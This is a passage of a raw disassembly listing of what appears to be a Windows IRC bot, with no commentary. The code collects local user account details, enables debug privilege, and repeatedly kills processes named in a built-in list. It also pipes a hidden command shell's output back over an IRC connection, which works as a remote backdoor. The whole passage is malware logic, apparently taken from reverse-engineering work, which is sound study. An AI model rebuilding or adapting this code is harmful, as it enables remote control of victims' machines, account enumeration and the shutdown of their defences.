dec eax
jz short loc_4196A4
mov eax, offset aUnknown ; "Unknown"
jmp short loc_4196B7
; ---------------------------------------------------------------------------
loc_4196A4: ; CODE XREF: sub_419599+102j
mov eax, offset aAdministrato_0 ; "Administrator"
jmp short loc_4196B7
; ---------------------------------------------------------------------------
loc_4196AB: ; CODE XREF: sub_419599+FFj
mov eax, offset aUser_1 ; "User"
jmp short loc_4196B7
; ---------------------------------------------------------------------------
loc_4196B2: ; CODE XREF: sub_419599+FCj
mov eax, offset aGuest_0 ; "Guest"
loc_4196B7: ; CODE XREF: sub_419599+109j
; sub_419599+110j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_41BEF6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409743
mov eax, [ebp+var_4]
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_41BEF6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409743
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_41BEF6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409743
mov eax, [ebp+var_4]
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_41BEF6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409743
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_41BEF6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409743
mov eax, [ebp+var_4]
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_41BEF6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409743
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_41BEF6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409743
mov eax, [ebp+var_4]
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_41BEF6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409743
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_41BEF6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409743
mov eax, [ebp+var_4]
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_41BEF6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409743
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_41BEF6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409743
mov eax, [ebp+var_4]
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_41BEF6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409743
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_41BEF6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409743
mov eax, [ebp+var_4]
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_41BEF6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409743
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_41BEF6
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409743
add esp, 20h
pop edi
pop ebx
jmp short loc_419952
; ---------------------------------------------------------------------------
loc_419926: ; CODE XREF: sub_419599+35j
push eax
lea eax, [ebp+var_204]
push offset unk_43C1C0
push eax
call sub_41BEF6
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_409743
add esp, 20h
loc_419952: ; CODE XREF: sub_419599+38Bj
cmp [ebp+var_4], 0
jz short loc_419961
push [ebp+var_4]
call dword_4CE398
loc_419961: ; CODE XREF: sub_419599+40j
; sub_419599+3BDj
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_419599 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419967 proc near ; CODE XREF: sub_401AA1+4658p
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_4192CE
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 18h
loc_4199A6: ; CODE XREF: sub_419967+12Bj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_4CE268
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_419A07
cmp eax, 0EAh
jz short loc_419A07
push eax
push eax
call sub_419ADD
pop ecx
push eax
lea eax, [ebp+var_218]
push offset unk_43C3B0
push eax
call sub_41BEF6
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 24h
jmp short loc_419A78
; ---------------------------------------------------------------------------
loc_419A07: ; CODE XREF: sub_419967+62j
; sub_419967+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_419A8B
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_419A78
loc_419A15: ; CODE XREF: sub_419967+E9j
cmp edi, esi
lea eax, [ebp+var_218]
jz short loc_419A54
push dword ptr [edi]
push offset aS_6 ; " %S"
push eax
call sub_41BEF6
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_419A15
jmp short loc_419A78
; ---------------------------------------------------------------------------
loc_419A54: ; CODE XREF: sub_419967+B6j
push offset unk_43C37C
push eax
call sub_41BEF6
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 1Ch
loc_419A78: ; CODE XREF: sub_419967+9Ej
; sub_419967+ACj ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_419A8B
push edi
call dword_4CE398
xor edi, edi
mov [ebp+var_4], edi
loc_419A8B: ; CODE XREF: sub_419967+A5j
; sub_419967+116j
cmp [ebp+var_C], 0EAh
jz loc_4199A6
cmp edi, esi
jz short loc_419AA3
push edi
call dword_4CE398
loc_419AA3: ; CODE XREF: sub_419967+133j
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_41BEF6
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_419967 endp
; =============== S U B R O U T I N E =======================================
sub_419ADD proc near ; CODE XREF: sub_41913D+41p
; sub_419332+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_419B8F
jz loc_419B88
cmp eax, 7Bh
ja short loc_419B54
jz short loc_419B4A
cmp eax, 5
jz short loc_419B40
cmp eax, 8
jz short loc_419B36
cmp eax, 32h
jz short loc_419B2C
cmp eax, 35h
jz short loc_419B22
cmp eax, 57h
jnz loc_419BDE
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_419BFF
; ---------------------------------------------------------------------------
loc_419B22: ; CODE XREF: sub_419ADD+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_419BFF
; ---------------------------------------------------------------------------
loc_419B2C: ; CODE XREF: sub_419ADD+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_419BFF
; ---------------------------------------------------------------------------
loc_419B36: ; CODE XREF: sub_419ADD+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_419BFF
; ---------------------------------------------------------------------------
loc_419B40: ; CODE XREF: sub_419ADD+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_419BFF
; ---------------------------------------------------------------------------
loc_419B4A: ; CODE XREF: sub_419ADD+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_419BFF
; ---------------------------------------------------------------------------
loc_419B54: ; CODE XREF: sub_419ADD+1Aj
sub eax, 7Ch
jz short loc_419B81
sub eax, 7C8h
jz short loc_419B7A
dec eax
jz short loc_419B70
dec eax
jnz short loc_419BDE
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_419BFF
; ---------------------------------------------------------------------------
loc_419B70: ; CODE XREF: sub_419ADD+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_419BFF
; ---------------------------------------------------------------------------
loc_419B7A: ; CODE XREF: sub_419ADD+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_419BFF
; ---------------------------------------------------------------------------
loc_419B81: ; CODE XREF: sub_419ADD+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_419BFF
; ---------------------------------------------------------------------------
loc_419B88: ; CODE XREF: sub_419ADD+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_419BFF
; ---------------------------------------------------------------------------
loc_419B8F: ; CODE XREF: sub_419ADD+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_419BC8
jz short loc_419BC1
sub eax, 8ADh
jz short loc_419BF3
dec eax
dec eax
jz short loc_419BBA
dec eax
jz short loc_419BB3
dec eax
dec eax
jnz short loc_419BDE
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_419BFF
; ---------------------------------------------------------------------------
loc_419BB3: ; CODE XREF: sub_419ADD+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_419BFF
; ---------------------------------------------------------------------------
loc_419BBA: ; CODE XREF: sub_419ADD+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_419BFF
; ---------------------------------------------------------------------------
loc_419BC1: ; CODE XREF: sub_419ADD+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_419BFF
; ---------------------------------------------------------------------------
loc_419BC8: ; CODE XREF: sub_419ADD+B9j
sub eax, 8CAh
jz short loc_419BFA
sub eax, 17h
jz short loc_419BF3
sub eax, 25h
jz short loc_419BEC
sub eax, 29h
jz short loc_419BE5
loc_419BDE: ; CODE XREF: sub_419ADD+35j
; sub_419ADD+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_419BFF
; ---------------------------------------------------------------------------
loc_419BE5: ; CODE XREF: sub_419ADD+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_419BFF
; ---------------------------------------------------------------------------
loc_419BEC: ; CODE XREF: sub_419ADD+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_419BFF
; ---------------------------------------------------------------------------
loc_419BF3: ; CODE XREF: sub_419ADD+C2j
; sub_419ADD+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_419BFF
; ---------------------------------------------------------------------------
loc_419BFA: ; CODE XREF: sub_419ADD+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_419BFF: ; CODE XREF: sub_419ADD+40j
; sub_419ADD+4Aj ...
push offset dword_4DDEE0
call sub_41BEF6
pop ecx
mov eax, offset dword_4DDEE0
pop ecx
retn
sub_419ADD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419C11 proc near ; CODE XREF: sub_401AA1+469Dp
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_41DED4
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
call dword_4280C8 ; GetComputerNameA
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_41DED4
lea eax, [ebp+var_718]
push eax
call sub_41DEB7
add esp, 10h
add eax, eax
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_4CE318
test eax, eax
jnz short loc_419CA1
mov esi, offset dword_4DDCD8
push offset unk_43C6EC
push esi
call sub_41BEF6
pop ecx
pop ecx
jmp short loc_419CCA
; ---------------------------------------------------------------------------
loc_419CA1: ; CODE XREF: sub_419C11+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_419ADD
pop ecx
mov esi, offset dword_4DDCD8
push eax
push offset dword_43C6C0
push esi
call sub_41BEF6
add esp, 14h
loc_419CCA: ; CODE XREF: sub_419C11+8Ej
mov eax, esi
pop esi
leave
retn
sub_419C11 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419CCF proc near ; CODE XREF: sub_4174AA+45p
; sub_4174AA+166p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call dword_428108 ; GetCurrentProcess
push eax
call dword_4CE2EC ; OpenProcessToken
test eax, eax
jnz short loc_419CEE
leave
retn
; ---------------------------------------------------------------------------
loc_419CEE: ; CODE XREF: sub_419CCF+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_4CE2C4 ; LookupPrivilegeValueA
test eax, eax
jz short loc_419D2C
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_419D15
or [ebp+var_8], 2
jmp short loc_419D19
; ---------------------------------------------------------------------------
loc_419D15: ; CODE XREF: sub_419CCF+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_419D19: ; CODE XREF: sub_419CCF+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_4CE374 ; AdjustTokenPrivileges
mov esi, eax
loc_419D2C: ; CODE XREF: sub_419CCF+32j
push [ebp+var_4]
call dword_428070 ; CloseHandle
mov eax, esi
pop esi
leave
retn
sub_419CCF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419D3A proc near ; CODE XREF: sub_401AA1+76E1p
; sub_419F5D+74p ...
var_550 = byte ptr -550h
var_350 = dword ptr -350h
var_34C = byte ptr -34Ch
var_230 = byte ptr -230h
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
var_124 = dword ptr -124h
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 550h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_4CE328, ebx
lea edi, [ebp+var_128]
mov [ebp+var_12C], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_34C]
mov [ebp+var_350], ebx
rep stosd
jz loc_419F29
cmp dword_4CE30C, ebx
jz loc_419F29
cmp dword_4CE21C, ebx
jz loc_419F29
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419CCF
pop ecx
pop ecx
push ebx
push 0Fh
call dword_4CE328 ; CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jz loc_419F1C
lea eax, [ebp+var_12C]
mov [ebp+var_12C], 128h
push eax
push edi
call dword_4CE30C ; Process32First
mov esi, dword_428070
test eax, eax
jz loc_419F17
lea eax, [ebp+var_12C]
push eax
push edi
call dword_4CE21C ; Process32Next
test eax, eax
jz loc_419F17
mov ebx, dword_42808C
loc_419DF9: ; CODE XREF: sub_419D3A+1D5j
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_419E56
loc_419E00: ; CODE XREF: sub_419D3A+E3j
push off_43C720[edi]
lea eax, [ebp+var_108]
push eax
call dword_428190 ; lstrcmpiA
test eax, eax
jz short loc_419E24
add edi, 4
cmp edi, 60h
jb short loc_419E00
jmp loc_419EFD
; ---------------------------------------------------------------------------
loc_419E24: ; CODE XREF: sub_419D3A+DBj
push [ebp+var_124]
push 0
push 1F0FFFh
call ebx ; OpenProcess
mov edi, eax
test edi, edi
jz loc_419EFD
push 0
push edi
call dword_428100 ; TerminateProcess
test eax, eax
jnz loc_419EFD
loc_419E4E: ; CODE XREF: sub_419D3A+1A9j
push edi
call esi ; CloseHandle
jmp loc_419EFD
; ---------------------------------------------------------------------------
loc_419E56: ; CODE XREF: sub_419D3A+C4j
cmp [ebp+arg_C], edi
jnz loc_419EE8
cmp [ebp+arg_4], edi
jz loc_419EFD
push [ebp+var_124]
push 8
call dword_4CE328 ; CreateToolhelp32Snapshot
cmp [ebp+arg_14], 0
mov edi, eax
mov [ebp+var_350], 224h
jz short loc_419EA8
lea eax, [ebp+var_350]
push eax
push edi
call dword_4CE1C8 ; Module32First
push [ebp+var_124]
test eax, eax
jz short loc_419EAE
lea eax, [ebp+var_230]
jmp short loc_419EB4
; ---------------------------------------------------------------------------
loc_419EA8: ; CODE XREF: sub_419D3A+14Cj
push [ebp+var_124]
loc_419EAE: ; CODE XREF: sub_419D3A+164j
lea eax, [ebp+var_108]
loc_419EB4: ; CODE XREF: sub_419D3A+16Cj
push eax
lea eax, [ebp+var_550]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_41BEF6
add esp, 10h
lea eax, [ebp+var_550]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409743
add esp, 14h
jmp loc_419E4E
; ---------------------------------------------------------------------------
loc_419EE8: ; CODE XREF: sub_419D3A+11Fj
push [ebp+arg_C]
lea eax, [ebp+var_108]
push eax
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz short loc_419F30
loc_419EFD: ; CODE XREF: sub_419D3A+E5j
; sub_419D3A+FDj ...
lea eax, [ebp+var_12C]
push eax
push [ebp+var_4]
call dword_4CE21C ; Process32Next
test eax, eax
jnz loc_419DF9
xor ebx, ebx
loc_419F17: ; CODE XREF: sub_419D3A+9Dj
; sub_419D3A+B3j
push [ebp+var_4]
call esi ; CloseHandle
loc_419F1C: ; CODE XREF: sub_419D3A+77j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419CCF
pop ecx
pop ecx
loc_419F29: ; CODE XREF: sub_419D3A+3Aj
; sub_419D3A+46j ...
xor eax, eax
loc_419F2B: ; CODE XREF: sub_419D3A+221j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_419F30: ; CODE XREF: sub_419D3A+1C1j
push [ebp+var_124]
push 0
push 1F0FFFh
call ebx ; OpenProcess
push [ebp+var_4]
mov edi, eax
call esi ; CloseHandle
push 0
push edi
call dword_428100 ; TerminateProcess
test eax, eax
jnz short loc_419F58
push edi
call esi ; CloseHandle
jmp short loc_419F29
; ---------------------------------------------------------------------------
loc_419F58: ; CODE XREF: sub_419D3A+217j
xor eax, eax
inc eax
jmp short loc_419F2B
sub_419D3A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419F5D proc near ; DATA XREF: sub_401AA1+2649o
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset dword_43C950
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_41BEF6
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_419FBC
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409743
add esp, 14h
loc_419FBC: ; CODE XREF: sub_419F5D+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_419D3A
add esp, 18h
test eax, eax
lea eax, [ebp+var_298]
jnz short loc_419FEA
push offset unk_43C914
jmp short loc_419FEF
; ---------------------------------------------------------------------------
loc_419FEA: ; CODE XREF: sub_419F5D+84j
push offset unk_43C8D8
loc_419FEF: ; CODE XREF: sub_419F5D+8Bj
push eax
call sub_41BEF6
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_41A01C
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409743
add esp, 14h
loc_41A01C: ; CODE XREF: sub_419F5D+9Dj
lea eax, [ebp+var_298]
push eax
call sub_415F45
push [ebp+var_14]
call sub_40B56A
pop ecx
pop ecx
push esi
call dword_4280D4 ; ExitThread
pop edi
pop esi
sub_419F5D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41A03B proc near ; CODE XREF: sub_401AA1+7683p
; sub_40B38F+4Dp
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
xor edi, edi
inc edi
push 0
push 1F0FFFh
call dword_42808C ; OpenProcess
mov esi, eax
test esi, esi
jz short loc_41A06D
push 0
push esi
call dword_428100 ; TerminateProcess
test eax, eax
jnz short loc_41A06D
push esi
xor edi, edi
call dword_428070 ; CloseHandle
loc_41A06D: ; CODE XREF: sub_41A03B+1Aj
; sub_41A03B+27j
mov eax, edi
pop edi
pop esi
retn
sub_41A03B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41A072 proc near ; DATA XREF: sub_40121E+3B8o
push esi
xor esi, esi
loc_41A075: ; CODE XREF: sub_41A072+1Ej
push 1
push esi
push esi
push esi
push esi
push esi
call sub_419D3A
add esp, 18h
push dword_43C718
call dword_428080 ; Sleep
jmp short loc_41A075
sub_41A072 endp
; =============== S U B R O U T I N E =======================================
sub_41A092 proc near ; CODE XREF: sub_41A0C2+2Ap
; sub_41A0FA+7Ep ...
mov eax, dword_4DE54C
push esi
mov esi, dword_428070
cmp eax, 0FFFFFFFFh
jz short loc_41A0A6
push eax
call esi ; CloseHandle
loc_41A0A6: ; CODE XREF: sub_41A092+Fj
mov eax, dword_4DE554
cmp eax, 0FFFFFFFFh
jz short loc_41A0B3
push eax
call esi ; CloseHandle
loc_41A0B3: ; CODE XREF: sub_41A092+1Cj
mov eax, dword_4DE548
cmp eax, 0FFFFFFFFh
jz short loc_41A0C0
push eax
call esi ; CloseHandle
loc_41A0C0: ; CODE XREF: sub_41A092+29j
pop esi
retn
sub_41A092 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A0C2 proc near ; CODE XREF: sub_401AA1+73CFp
; sub_41620D+14Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_41B650
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_4DE550
call dword_4280F0 ; WriteFile
test eax, eax
jnz short loc_41A0F5
call sub_41A092
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_41A0F5: ; CODE XREF: sub_41A0C2+28j
xor eax, eax
inc eax
leave
retn
sub_41A0C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A0FA proc near ; CODE XREF: sub_41A181+D3p
; sub_41A181+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_4404C4
push [ebp+arg_4]
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz short loc_41A13D
push 7D0h
call dword_428080 ; Sleep
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_41BEF6
add esp, 10h
jmp short loc_41A154
; ---------------------------------------------------------------------------
loc_41A13D: ; CODE XREF: sub_41A0FA+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_2 ; "%s"
push eax
call sub_41BEF6
add esp, 0Ch
loc_41A154: ; CODE XREF: sub_41A0FA+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B650
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CE358 ; send
test eax, eax
jg short loc_41A17D
call sub_41A092
loc_41A17D: ; CODE XREF: sub_41A0FA+7Cj
xor eax, eax
leave
retn
sub_41A0FA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A181 proc near ; DATA XREF: sub_41A2D6+170o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_4DE558
loc_41A199: ; CODE XREF: sub_41A181+79j
; sub_41A181+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41BC00
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push dword_4DE54C
call dword_428198 ; PeekNamedPipe
test eax, eax
jz loc_41A267
cmp [ebp+var_4], edi
jnz short loc_41A1FC
lea eax, [ebp+var_8]
push eax
push dword_4DE548
call dword_428194 ; GetExitCodeProcess
test eax, eax
jz short loc_41A1F2
cmp [ebp+var_8], 103h
jnz loc_41A28B
loc_41A1F2: ; CODE XREF: sub_41A181+62j
push 0Ah
call dword_428080 ; Sleep
jmp short loc_41A199
; ---------------------------------------------------------------------------
loc_41A1FC: ; CODE XREF: sub_41A181+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_41A213
loc_41A203: ; CODE XREF: sub_41A181+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_41A261
inc eax
cmp eax, [ebp+var_4]
jb short loc_41A203
loc_41A213: ; CODE XREF: sub_41A181+80j
mov [ebp+var_4], esi
loc_41A216: ; CODE XREF: sub_41A181+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41BC00
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push dword_4DE54C
call dword_4280EC ; ReadFile
test eax, eax
jz short loc_41A2B3
lea eax, [ebp+var_20C]
push eax
push ebx
push dword_4DE58C
call sub_41A0FA
add esp, 0Ch
jmp loc_41A199
; ---------------------------------------------------------------------------
loc_41A261: ; CODE XREF: sub_41A181+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_41A216
; ---------------------------------------------------------------------------
loc_41A267: ; CODE XREF: sub_41A181+45j
push offset unk_43C9FC
push ebx
push dword_4DE58C
call sub_41A0FA
push [ebp+arg_0]
call sub_40B56A
add esp, 10h
push 1
call dword_4280D4 ; ExitThread
loc_41A28B: ; CODE XREF: sub_41A181+6Bj
call sub_41A092
push offset unk_43C9D4
push ebx
push dword_4DE58C
call sub_41A0FA
push [ebp+arg_0]
call sub_40B56A
add esp, 10h
push edi
call dword_4280D4 ; ExitThread
loc_41A2B3: ; CODE XREF: sub_41A181+C3j
push offset unk_43C9A4
push ebx
push dword_4DE58C
call sub_41A0FA
push [ebp+arg_0]
call sub_40B56A
add esp, 10h
push edi
call dword_4280D4 ; ExitThread
sub_41A181 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A2D6 proc near ; CODE XREF: sub_401AA1+246Dp
; sub_41620D+99p
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
